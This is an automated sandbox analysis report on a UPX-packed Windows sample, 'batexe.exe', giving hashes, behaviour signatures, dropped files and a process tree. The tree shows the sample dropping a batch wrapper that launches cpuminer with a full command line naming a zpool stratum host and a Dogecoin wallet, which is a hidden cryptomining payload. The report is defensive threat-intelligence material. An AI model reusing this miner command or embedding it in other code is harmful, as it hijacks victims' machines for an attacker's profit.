Analysis

  • max time kernel
    300s
  • max time network
    310s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    22/02/2024, 04:12

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2496
    • C:\Users\Admin\AppData\Local\Temp\CFE3.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\CFE3.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\CFE3.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1400
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D3EA.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3872
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3572

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CFE3.tmp\b2e.exe

    Filesize

    2.1MB

    MD5

    c65046109eeacc05c12e1d2d47bbcdce

    SHA1

    f684b885a159684fdc5f276d2e97f1f62e656147

    SHA256

    3de769cb77e6c4e7be2f7c2683b6e3a7f58f7cd8261f25cd14c868163a5f82fc

    SHA512

    a0bd72ec5132d11f00120b161c4df1aa93f734dcf9d9b9bb1eda51f96a74a69276aaec7e8cf1fcb762362e887569ad4cb2dbd40aaf541141dfb1ffb7eb51d2dd

  • C:\Users\Admin\AppData\Local\Temp\CFE3.tmp\b2e.exe

    Filesize

    4.2MB

    MD5

    ce995c4734a15155d4eb49152ca9ce45

    SHA1

    7b9ea319205ebfbec73d1d4586be3b3e2535d659

    SHA256

    fdf02bd4724028e27f73fbceb2a3b2449d7205f053b512b47971129f26181956

    SHA512

    6af2095a1c449031a922cc2a2658abe50c1655b8530aa2b5ef5c09d53812249c6b5e280b32d2a50e2386b6f51d7a5817e62ff8b15f9c6c3f2ab58c9b2e3c9b88

  • C:\Users\Admin\AppData\Local\Temp\D3EA.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    7.2MB

    MD5

    1b530df46cefc5af7f2abe1c2467eac2

    SHA1

    5faa2344fbe3e402e4addbcc435812add424ad39

    SHA256

    9ca7159f27c0ed5fd018fc5410da8a01eedf4b7edb317739cf42866bb6eb62c5

    SHA512

    a51d67379b23090bb075a1b1830031068ffa86c299960fb7aa0f2005165ff29a2f463ce01f69405d3c9062e56faeb9403e0bfed6a8c73debbc07e700b37d5147

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    9.8MB

    MD5

    e74e6c1d72897c19a8673671634cf75e

    SHA1

    02d21d70415884f416e9f3cb5345791942a7ce6e

    SHA256

    c04db7cf833824d1833d5ba42c6e65fbeebb1465c1315f0c524cbf87e50542fa

    SHA512

    022b6693a33c9d332d19a280b9268df233f10d93bf95892a109bc46d50e2da60f823f1272078f43c4d0aa054f21999a0b17f117f3cc414301b89f87db06da296

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1400-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1400-51-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2496-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/3572-43-0x000000006FC40000-0x00000000714F5000-memory.dmp

    Filesize

    24.7MB

  • memory/3572-57-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3572-41-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3572-44-0x0000000000870000-0x000000000092C000-memory.dmp

    Filesize

    752KB

  • memory/3572-45-0x000000006CE10000-0x000000006CEA8000-memory.dmp

    Filesize

    608KB

  • memory/3572-46-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3572-38-0x0000000000870000-0x000000000092C000-memory.dmp

    Filesize

    752KB

  • memory/3572-42-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3572-62-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3572-67-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3572-77-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3572-82-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3572-87-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3572-92-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3572-97-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3572-102-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB